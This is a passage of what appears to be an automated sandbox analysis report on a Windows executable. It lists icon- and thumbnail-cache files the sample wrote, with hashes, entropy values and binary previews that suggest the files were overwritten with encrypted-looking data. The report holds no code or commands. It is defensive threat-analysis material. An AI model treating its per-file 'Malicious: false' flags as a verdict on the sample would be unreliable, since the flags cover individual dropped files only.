SHA-512:	6925696C813846F28C5101B9937BB813F122162DFB3E0DF7C7B719B92937EEE0719BF065F44CEBF009ABE06E0592FDCF13B40FA87BD88842E37C23FAFEE3DDDC
Malicious:	false
Preview:	CMMM G..:...oHZ..\5z..x-.D.qO...K..J\|H.....~.k.^......"...q..x0@....se.7.;.....-.0....6s.}x.t/..V...u^..J....6".p.X.1WS.o.s.;.l...a\|f.4E...o.....9.?~M3.I......s......E..[...........O\..,.$9H.....r}......T...M....o1G.^..;r.../..L6`....x......n.]..:5.JK.A...J.(Uq...Yi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.333956989891429
Encrypted:	false
SSDEEP:	6:WycCnr2xCYVcd6O1H02LKW640BeWlOucoPBcQvPnbOHElMNx+unBI9t71gOsVolC:JcCnrWBcd6oHdKW6JYQPvPbkEWv+X9pM
MD5:	9AA9C6E08F28E14ABB27A47A7C1BAE06
SHA1:	DF6EB9F2299624EB8E0A12D8C9F75AB3A2BA564D
SHA-256:	9DCE827B32A63C5413E4952F7F374AEDFE4948D694F7508083F4A7AA644A749C
SHA-512:	307AEF66A709662D09C76D7ECD0C4382AF85CBA6114279C97E5A2058628F397E3776817C04004C5C5A3BC226EBA3E9BA549A390F06AF3596B87272E6114BAE99
Malicious:	false
Preview:	CMMM #a..:tf)!......t.lo...ld(..w./IH.M^.nq..Uw......;...... ...'b..C=....A.G.y?\...]"'G3(c.d.q...1....!.A.Q}.d...I.W_..>......}0k.=?..o^.k'.8..q..!.........k.....{v..y.......h.<..(...Qpq=L..&E..... ..LR..A._.....K..m/.d6i.cSrp....U."..F...B..._l...h9..v.?..-.....E.W{}i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.287668808346882
Encrypted:	false
SSDEEP:	6:zt6IHQDwBKwLExwWDtP/jgZLL8a1/cuWTFMNN/2Ixji7OsVolWbz6Wcii96Z:ztvQu6DtX0Z/8iTUiTrxjw36Wcii9a
MD5:	9C87A22FEABF70A91C27EB75BDAAFB11
SHA1:	87E44950F2A2F752D95522430EAC5D39E4C20199
SHA-256:	315F57415E9F4E2E7B38BB9807A8AE4123EC60F212F67AF06A4DA103CECFA66A
SHA-512:	ABA4E488EB584841F4013D6C05D14F5A9DEA6A71DDE898D1C641E278FE204DCFA7A3FBEF451DF821AB1F3FEF844AAA38E503A17E35F1F4F4489EA9602F9A882A
Malicious:	false
Preview:	CMMM ...w<dv,....wB\|.4D.K..w.A{..].,.M......mT<xE...l.b.V.sf.X.$...o......hV..b.....3v...2...~L{y.@...<...j2-...4..9......~.C.....1..R.R.1..!,....~}....V..M.H.~s..;>"...>.+C.6..%i.m...p.d....~.+.e...B...pQ_....F...$./.~G`......]..."...=.F[#I2..".}D6\|=..@.....D....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.21218754027059
Encrypted:	false
SSDEEP:	6:COXFsxW6gIK10vUai6GP8WBAgdXScbE3nYuiOo/OcrBOsVolWbz6Wcii96Z:COXFslKGv/i6GDAgUX3JE/OcrT36WciD
MD5:	F9CE8A4A00A2DAD5CCA7B29B4DF66F54
SHA1:	DC0641A2D4AEA9CAD1293F69D327EE32E12E9882
SHA-256:	F591EA113D68E7541AE214EAA9726B031DA7EEB76D25F733C1C329DB254488C1
SHA-512:	DD947A906A6F0E0FA5EBFDA55C0F7894A4C4944885CEBE60FF78E263DD481EEA72EF31332339F43F05270D1898C28D7EB38BF89AC554F2E836A29973F0E3C4B0
Malicious:	false
Preview:	CMMM n..R.Ou?.\G.S.8.C..d.B....I!.}....q......p.....l..7....r.......`(.D"1.6...M.T..4w..r..G:.uDO.2..5!...6.+.).L...zT.h..8M@6.p.+...6r.m.nv..Y.P.&....t...p.4..80..M...XM.A.VQn.-....]...M.lpA.%`.p_.+....B.A.y. .00......vk.ss\.>.M..!...0F.DU......4.h..'.........i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.287046410228101
Encrypted:	false
SSDEEP:	6:l+/ghYJHx619pPhVIvXzFyr9fMQY8cNolW4Arh5fvxVG+U0pip2po+YdOsVolWbf:0/Uzhhevzk5kQ/vWNrh5fpjivn36WciD
MD5:	3C5FA3CBDA1392CFCF5A082ACC1A673E
SHA1:	DD1BDDEBF999C1444DA75284A3CF0CBF6E3453F8
SHA-256:	4B535820DEA3F472D505E366A9143C4D571CBF7B63F598ECD859BAE6BA3FAD8F
SHA-512:	46BDEB125D476DD20231B7AB314CEFF059B655077700AB2EF53C64C30FA3884A8E37EBF52186FA347FFA1D0437ACCE87F41EA4E40E2F8FD028CF593670315312
Malicious:	false
Preview:	CMMM +..Lt.z....X..._.-9...Mh..9.j...'we.N(..[.A.K/..=.`.=Y&.....Y...c.......*....X.m..+....`.C.h.Z...9....)6>V..&.(...U..,;..N1.CoL\.W..)>?.B#..(.R....ZmNJ.N..w..i.JWx.F..#.I....e.%.u..D...mv.N...TL.q.KU.....n(1.3.M6.B.fi.o..3L.p...yow.......;.3i......p..>......&i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.261637673098327
Encrypted:	false
SSDEEP:	6:cW1z/8gj0XvR+LxXYh5EBMZYgAur2kXz/MKIfZC2szL8xNRhf/5gOsVolWbz6Wcq:L7kXvR+xYIYNAUMfZCzILh636Wcii9a
MD5:	012589E0433DE111514DF5B276F0F4CF
SHA1:	6B44972DBE1B3C6C4B72C3FA2CA4667BFDC3B610
SHA-256:	6F6D8A3C309F07B876F2A4F88DFB4C0DC339D1F4965C839D123FB5040D3197A4
SHA-512:	A120E3C1BED2D6A2497E445EA648D1A868CF6A71FB23BEB0C2DBFA207B3D078996582D0A2EDA36899C467C81626ED61584479F29499366222F73DEC822DC2A3C
Malicious:	false
Preview:	CMMM .4U'..{...YU.{..3.XKH.`..X.p.R......\..t.>9....~T.5./....Z!..U.CK..m...._.b..U..6..[ .(.N.t._iW.3S+M.....INY...r..M.....ou...4.......1.].M.r-..i.r..}.n.#B.x........Z......7.^.dH..!'u..e.Q....b..O.z.......}4x.T...d..Dz:......*..(.r'.....Q..dU....ad..6\|EC....y..9.."i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.281497341925078
Encrypted:	false
SSDEEP:	6:G6iu+IV6vp63U8TIhF8xfiv9wv4idHg15iwv5d23efuf2CTtZzlCMp3OsVolWbzD:GK6wrEhF8Sa/Hg+wv4eGZZgax36Wciik
MD5:	0CC5CF9D667B2D1EE90D7FACD7CD28BB
SHA1:	5AE77E7EE43B6C91EABE5FC5F6F2FB7ED0F40FA7
SHA-256:	45CF7B164407196E04C3A256D933716994B47EA59362B3EBC15FBBB8786D759F
SHA-512:	D32582F309A3665F8826F30E6C89BFB8AA598E241B8C586125A3831A4741255419C243B47707CF89BB2BAE2713308C23990EE4E11E2AEB521EBFE6BAF3940B44
Malicious:	false
Preview:	CMMM .k;Ta#....o..O@u...)...\|......"m...'..5...-V......3...8l..j...[wU..m.w.U..+.u...-....w.7.....7 ......a..l5.+..$<..2.F).\C1....7.?O.....w........4..fl...z..8.G....I...\|[.:#3>.4O.....-.Xe....@s...;.\.Y}w...s..r....7....\|`.w..o.....y.........cj....)*....>.. i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2129792131760455
Encrypted:	false
SSDEEP:	6:Aenbfp1Tv3OCdJOielFNAudz1z8373UOiNyBWDl9J8oJq3UVcCkD9ROsVolWbz6Q:Asf5J/omuzz8IO+yG9J8okEVc336WciD
MD5:	0B9FEB05323C194D0E4C2263D397106B
SHA1:	325F823060C302DCD92F502A290A068EB5267577
SHA-256:	E03445A6D75C3BCBD4CE3606208B74C70584180C572E73ADA6B31E6057043B4D
SHA-512:	9306F5FA585D0B24CD3BB36BA86FB25FACA910E60CB7A3FF067A77BD6FFE2ECDC8F48B0D6A430FFA7DD23A2CD7490ACC34C4DE3319B45AC7FF98601777B1D271
Malicious:	false
Preview:	CMMM .O@...I....:.e......*[Z........I...}.6.R.W..<%Ue...$R.{te.QR...&\|..80.....X..BY.<._.(...i......\|....C..e5 D.\...P?.E.2...g.L.V..N...W../..N..PE....[...r0i.W....{bp>bC.1N..."%T.`.D.1...$...oL.\|.$AQ.!......3E.D....m...}....o.....4...2j..B.MO....$..D.9S...y.V.X.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.325171383668728
Encrypted:	false
SSDEEP:	6:ZSGiD26pFOQqscQ7/GEe397lxWM7fSdJpI0BqEDKXPECk8eX3ByyLjZM873OsVoA:sGiz5cQC7rWM7fwq6K8CF0R/O8136Wcq
MD5:	7CC23307089837E37B3C0FBC4E893E6A
SHA1:	98295FCD237CF058F78410AC424B1D54B4A8DDF4
SHA-256:	F4837A14144FD4D880E24BF2EF75A541655D40D634500CA7F6B7DB9E3ADC09F5
SHA-512:	B35F7341DF8D3E89657174E72652D68971C1AEA27F52FF65F0CAB9D1428DD695397D06EA3D4D446271ECF6E99D825139BFD6CD618621698D603BF12419AD2BDD
Malicious:	false
Preview:	CMMM >...a.7..[.<.KR.M...S:d..t.....1.9../F....n....;.1\|....0.........^....:xt!.....V..c\|$;..".".....1..nSd>Q..Du.q@G.Jx?.p>..g[05.;.g......8A.Z...&....vU.`.k...[...#...........v.>I.oA...3#.!..d..k,.s(....U....'..X.b..b.gs..).E...jM..sZ3..l.....S...dq.j(..7..'..E....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3234062036526675
Encrypted:	false
SSDEEP:	6:Ouwvt4x5OMHZGvCZFBDiBRH7OGFbBpf/WFC6kMdCSIcRs0B7YJbxOsVolWbz6Wcq:Ouq4xcM5G69uBRSGpBtYJZ0SIcG0dUvT
MD5:	1E645893D6F539A1EF2D55BC1E40CC4F
SHA1:	4582CB9EB7B52DA70C6CB86ABDF965B8783163F7
SHA-256:	BFBB2F6775427E9BA7ECD2F8F231BDB87F5672B29993145E8FB170DFFB4B29D2
SHA-512:	FE5E71143D8E4608A5AF3F0C5D71FF8DB999D8D20BD117E6CD680C7E61B17E955DA22271580E4A4188C53D28A33279743D72315A56C7677F0E5D8019ADB8FFA6
Malicious:	false
Preview:	CMMM .....>..W.{v......NP.-.S..G5......i..w&n..,.P......Q...{r.........^7\|;S.._.I.<f...r_.r..$0I...&@.......2.f..$.*w........w..J.Tl...n..1.3x.{.:.0.[0T...<...V.mE....6....%.;...#.f..V...\|..-M.......#.[..k...:.6.<.-\|..:......=.`lA.....7!{....&.]z@CXY.D..G()a.2(!..ci0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7687988813716728
Encrypted:	false
SSDEEP:	3072:Zk7e5SPdAf1cYd/jX9wDouKbpFHZZM0F97OhOoTuSP5Et86A5NmvhF:m7E+m/qDobHZZ9F9+5EuNmJF
MD5:	33481090AEFBCA4619FAD70526C1BEEF
SHA1:	B495689FEB9951E35F962AE71A3195962DCCD23D
SHA-256:	C948072BA24CBE43FED64A08976A2A9D44EC2B54F7B92BC65324FEB64323076D
SHA-512:	1C4434FA4761093E6F76852576BCA1E8CF2907A65BB70BD71F54AB3F1455C47F7173DC8E6C54D146E7198DF169F720D28E2B215130EA9D375E907F73F33B993E
Malicious:	false
Preview:	CMMM ."b[.).......O..."2.....7..t....rH?....v.S>...m.+..5.T...`.^..-..\|..P..'...e..x.{d....u..e...o.U.V....M...E..)&1..o.......w....A..j...(5...dY?.W,h....l..a.^it..........-..x....X.C.....,c..,`K.nw0......V..D..Maz.\|I...1<..w1H.....p.{..U7z.[..M\|.z.8...`z..W..-6..l.Z......5...uKM.o.b...!.._6H...;....2.`e.:........]kA.....%.q.g..pY..A.1..=.#.......H.......$b.....]..i.z...4_@6...uC.S.e.....(.Lv....'.4.5ci1d..i.c\|.&.sK+.z.@;~,q..,..0....ahy.<W8}..l...=..L...n.Y.v13?...Dh.G.j...o.n 1.F_v(8....... ....PsN...qw.'...-..&.V..^...b.....9...3(G..vB.7.....W.D...:.FE..C...#...6'..jf.7..[jG......'.R.$#....WB...N@.....X...S.......SV...,.\|........a.{z.%.[.C..u>Y:.\|.........87>...H.....p_...K...<..K.{.z..qD/-..\|.\|.g.]zl&\-..n. .....J.[Op.4..@....Y. [{o...bM.l.wi"Y..C.ze..GK..0iY.(...O..32.u(<r$'6.....khJ.Rryk./......P.....I"...).iAR~...o>..B....VgV..Q..0...#I....(.?...M..D..L..A*....+Nl..X.M.;F.......q...5._?.1...@..?I......L.j.O.{..sx.....

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.279659545629308
Encrypted:	false
SSDEEP:	6:5o+PSjbrBRJVO0NrJ3WmHggNg/W/RosFwru1K8R7781drbOsVolWbz6Wcii96Z:55PSnrzv9r5nZZosqroK823h36Wcii9a
MD5:	0675BBE8AC0F5F21CD86FB74E1603D20
SHA1:	F24F8A42B46AA950892560E2265A849C3360549D
SHA-256:	9EDF04B04EE700219BC827DAF6493B9E89B7E66BF466DE6534FB3587831EA465
SHA-512:	B6877C17AE106DABD9110EF8E5278154CBF847C94A55E8C1BF9EB3B50DF1F207165B0EA793889ED576D590A7371C3B8A87B2DEBF09F945E1596DD31E33E83B73
Malicious:	false
Preview:	CMMM m.D.....y..Y...[o%..Re...^b-..8;.C...PD...E>v....$.C*j..6c`.\|E.....j.....c.7..1.E.F.\...G...,L.F[u.8.......Fx.,.I....j.v..7.._.-7)\.4..X^.iO.d........u....}.I.g(\|..+h.3 .........o...u7UG..h.....7J.!Z&..kr.Eo...0......T.$M.P......~..'...<.h>....b......R.\|..vK...Li0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.303382922607887
Encrypted:	false
SSDEEP:	6:24HAcyTz/TcTdedN4hD7Z4ePSfNADME9ehNoAOsVolWbz6Wcii96Z:2UZg/UbPSfLJhNN36Wcii9a
MD5:	BF5F0C645611CE776F5006A181AED869
SHA1:	6EBEB0042C752714B6F9DAC3C0E3F2F216E7BE51
SHA-256:	882C5D40D127A50A60E075FC2C20FAC05D9B508EF91817DC3DA5598F684C52ED
SHA-512:	1A61962E29CE81254A9CEB30A2F58B539351D650B85D5B80576A96D802E04034D1EE283DA2E8EB3C380BC4D77364DEA08B91C0C4F5B8D6F58D361C84B985FCC2
Malicious:	false
Preview:	CMMM .g./].(..Jp..rt..(H2.Y._..x..&......^y.?...'...h.g.. 4....3t....7d....".........!..........&...`.s.0.6..wB;..Z......H.......{...*".-Y.e]..Q.......AE.&{.]...m........ow...7....%..m..x.....]z......=$z~..S......^...r.......Io=^'..zr..oCU......!.....YJ'N.....V. .\......i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7688982693471724
Encrypted:	false
SSDEEP:	6144:sOvM1YdYjyMg/CSVWjlyiTLGAVqQt0vFI:tvnMtS8jlpkQ6vS
MD5:	13A239876FE759143F1B48C89611BC29
SHA1:	08CB59C87060E62F68647B773A90528EE3C40331
SHA-256:	66781E59E3F7C3D09623E22CD550F5DC582D190DCF3B3B5FE0F6B35249850F80
SHA-512:	0C78DF6A193595AFF6AC6C0DEB6C50B4DE18D5DD2F339BE08209239F3BD4F548028F792661E74A9271EE74419C0D8E5F6BBE983B055DF92D682FD12D4AE9224D
Malicious:	false
Preview:	CMMM N.I.....G.w.}.,.:7=V.O..~D.qP..... .Kr...j..Q.Q.*W.Zv..M..kY.7RB..\|j.<.Q.P...7M.....(.55...\|.......Q.2.q..t..Y.[~'5.e....i\|...6...y.H]./h.j..\7OL.U..6w.x..<P.T.U..PU.[..e.5..Pa...Xk..g.&%qn`.l.u. .[.+`.L.......O...\|.;...Y.OJ...?B.7........%x.AE=02...~.8.C. ..".....G7.#.!.1.. .j..Iq....qC4.$v.W}g..W........5u.Y........... ED.f.....!.h.........K]."GZ.l!x..k.zB.D..d......z.a{...T.c.P..>(...?........{w......HH...R.t.l..s.o....p....,..:'.V}.N.;..#.oFF@..@..k.[.KJ......O..5.K.....bP..L5_@#G4..'..mN..U..U..P:.a.A.a).f...U...Gx.W..\..f5.D....H...-.+X^..-Uqw].b..6.`n..(...'..n...!..r......P.4..m.../Iz0&....@...Hx1E.AUiHS1.`...u.........A........_...mPzjS..J....~.)...T0..~k.?.<.\...m.{.~0.........$u...FI.A...yK+<..._.,Dw.,S.,y.d......6..-..WUi1...Rg.Q......^..B..j...Cw.$....&..B..>...F.<.owP....M:v...L<.(....a...v0.z.E..i}?i.T.IH.e......]......D..UA.F..i..u.5]..T..`x.ER..s\|m..:.!..0.Y...q;?=l].+1."R.......K.P.(z#..._ga.}.9Z..o..,...6.L.

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.322594767743581
Encrypted:	false
SSDEEP:	6:u3cJ6LpWdUkbDfxJpujjorXlGJ9GosXGUQ6CPCfVe2ROsVolWbz6Wcii96Z:8cs3kbtfr2go4YPCfVb36Wcii9a
MD5:	ECE7884493E124D14DE3263E7D754858
SHA1:	8A129EDFB8C37D48EB9A0B7702382CDE7FDF6CFA
SHA-256:	FA800171C8EC8782A4BC9278E5720BF2D69C84FFB91B0711E7455CCEB9EADCA8
SHA-512:	1D70140E72C86EDBF5259CBF0F393F77381A1AB1014C9A500FBF47158647DBF8FB09D75AA9C6A84B928BBCCF39F3B8302C2B29A428CEEDA1BAC101FE3E9E1F5C
Malicious:	false
Preview:	CMMM _..}~tg<.W..k..}7N.......z...@...<!.....T.E...O.#......3.X..L...=j..E..I\|i.i].Yjv.b...f.T.G..T.B...M,.#.WU..?...M.[C.o...`.w0....$.p;.'...)......$.Z...8....l.4.f..Rs.j=.f+......m(w....bf.x....s...c.u.\|ji.2Yw..F;j. ......p[.....MF~%b..`w...5V...I.CA.......s..U...i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	4.016133349956015
Encrypted:	false
SSDEEP:	24576:8dbJlGnolVn6NVE2I8wHXEH9KPaUkr/5Tr4ImqrYE3Ax0LPJBn6gv:IJDfn6NVagH9Kyrr/9+qrYE3Ax0LPp
MD5:	86BE942F62C7B8585272CF299E029142
SHA1:	AD7D89E618506EF344A84A34CE5439C32E17148C
SHA-256:	9FAAC02F76C7E1BFB79F5A030F2A991077AF0182A963DDB79415084BFEDFC8A2
SHA-512:	380D3B08C6D96C734DF9FAA27932B4AE8765F1E6118335DB6E953C3E6256B3199A17638E77D094B8EFB914C2E0059BFCDAAB58B89341C7F75C9AAAAD784D2863
Malicious:	false
Preview:	CMMM [....7.@.X2......n.9._b......tA~....W...w....>.....5.I.2....0V....W..PX.}_EA .....S.0.."...=....HT"F.....`9.......-....y.!j.RCC.N.B.M..........9,V...s....}..~...O..A....0.&....HL.\|m4vF..kx.i.....i..F.D.j..;.0/...k...%2..z.m..d../..3;4.]A.9.-Cd...+..F..2.....Z....Ru..a/-4.I.i.1..7..$._..,.. .m.r....)...n.E.a.0k..\U-r$"O....)..AB.....bYe..._\..!B..s.`V.w..C.(... F........Ex.Y(UY.^...d...5tA..].hsV[.j.l."...<.H+...........E..R..@. ...U.6a.:.\|]]N..BC.^.x.XQ..R..l..?[t...mvm..~...$..q..Y.\.._.-9.....n...W{..:.k ....2..>^....Q.S..... j..(..A.r .9.}..`..."?$$.mm... .....`..'.X._..2.7..0w\).2#.....q..z.sS..Lp...x.~C-.{.....z....f...U..g&...l......k.A..2...B.,;..3..!2....Z..:.l....Or:V..:t:@...v....C....R....0?n..2m."..f(gY.~. S .b"v.D.M.P:....h..K.k..,.B...(4..p.....kG.;..../.Ny..q..{v.v.]...VE.".v@.j.B^l.j...lk6.)`22&.:Q..!.~xS...0.\.Oh.,F..I-.....0p)t.;.ck.m..$H...".2.YH.W."....?.Ab<..b.A.....[.....L'...).1pw..."p.a...:......\|..#oz..G4.N.

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.310411013514693
Encrypted:	false
SSDEEP:	6:rKSG/h1q9V5MaPm7cbE601+fFzGEXkWfopT+tbOsVolWbz6Wcii96Z:rKSO1qDC7iEj+NSEUhpT+t936Wcii9a
MD5:	1823211A28BE3FCAED8718F828D8A540
SHA1:	BCAA035761A10FC5DF1A985852FA861EA7BF14C1
SHA-256:	17ED37BEF0C63609F79EE01FB2FD0D10DC69CFAE9EEB2EC0916AE958FB3BC07E
SHA-512:	F6092A2168DFAEAAEBB5943864F42F542A77B7B36EFA71F66947FF62859224535C602F7A497FD08751D563A1C8A102E9AA55EC7D896348B94F6269848452830F
Malicious:	false
Preview:	CMMM ..8...k.^..I......JF.T..l.rA...%....p...(..(...5G..5.V.`P[V..}...w..._.O..ru......s.(.v\|.m_....._..}.m.^.f.,.....J.=......!IM.'.\|@....-..A....k.!.\....._...L....R1..gL...LU.......y..p;.Gw..5..Z..<..f..f..3<....V....:7.[.....?F..y...K6Vd...C+l.....C..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.274892054059788
Encrypted:	false
SSDEEP:	6:j/sleIwo4q/grMfVZQcRdnLC4dW9dP9O9vsMeNmPf1eXuBWRyj7OsVolWbz6WciD:DsleIf70MzQFeOOldeE4U36Wcii9a
MD5:	0F87A067B6DC3BD682563CE6854B6501
SHA1:	98116A55C647344A5A3C80BFB02FA0E65DEA772B
SHA-256:	3F25879412EC0F34F19B2043F8E1E03DF950136DAABE3014C4BD9E846E629BE4
SHA-512:	8854DBA1FF4BAC1FD3968C08AE72E69361A5F771C9F59463E96FFE20592A4E462B6646CD84F4B47DB2F5951E29022EBF6BDB11849994C55269A97E6BFE921C0B
Malicious:	false
Preview:	CMMM ..Sq..[.\..`+.....l..]../1<..s}+L..7.......gG..6......8..y)...{QD..=8.....1....@&G..o..8...T..F(%Td.....C,B8H.I..7.k.rMX....8......h........-...^(......m...~.q.._...K..YP#.A..sh..kx?.xR..j..'y..[:=q..d.....g...).....D..e.k........<...4P..H.6.I.......99..L/..R..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.376747901676297
Encrypted:	false
SSDEEP:	6:KJHellLFu/TW/pQs44NPZaODEO2KihnC0UDUJxiOsVolWbz6Wcii96Z:k+lPmTWxQs4WxzDCn9HxS36Wcii9a
MD5:	59ADCF24D054567BFB9DEF7CB698C4EF
SHA1:	D5822D3F9909CC249C57C59B5119EB71F0C3E433
SHA-256:	3C28FCE3B176A43C2DB0C7AD5682DB487F9B35471511687804DCFA771B8BBABC
SHA-512:	E8CFA0BB153E7A9BFA23B1BE70CEAE3C90D59E5906C7D9C5393E56F8A38F7A1A8589A30CDCA31D196D81FAE7B62A06C4C5840AC6377F30D1BBD0825EC0AF6752
Malicious:	false
Preview:	CMMM ..e..f....N..._.."Up......-8~H..;QY.w.+F.xw...l....k.......6....Va..e..hjO........Z..".f.k.....J...c.l..t.z....e.7W....[.j.c.rV..i^.....3.....7V.=C..0..<..G..l3.!5o....a.:!..!.....A..l..y..R........Zd(...nQ6O.\.pF._...7............uK....f....I....}.....M.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.230361387831138
Encrypted:	false
SSDEEP:	6:jT4+4j86exBbWnPql3//ps/uZQJswkvXfyrbKE5o5JYEcbhOsVolWbz6Wcii96Z:I+Q86OBWPq1pzjPyiEW9cn36Wcii9a
MD5:	2D64A5AB4496D829A1958695B8633A27
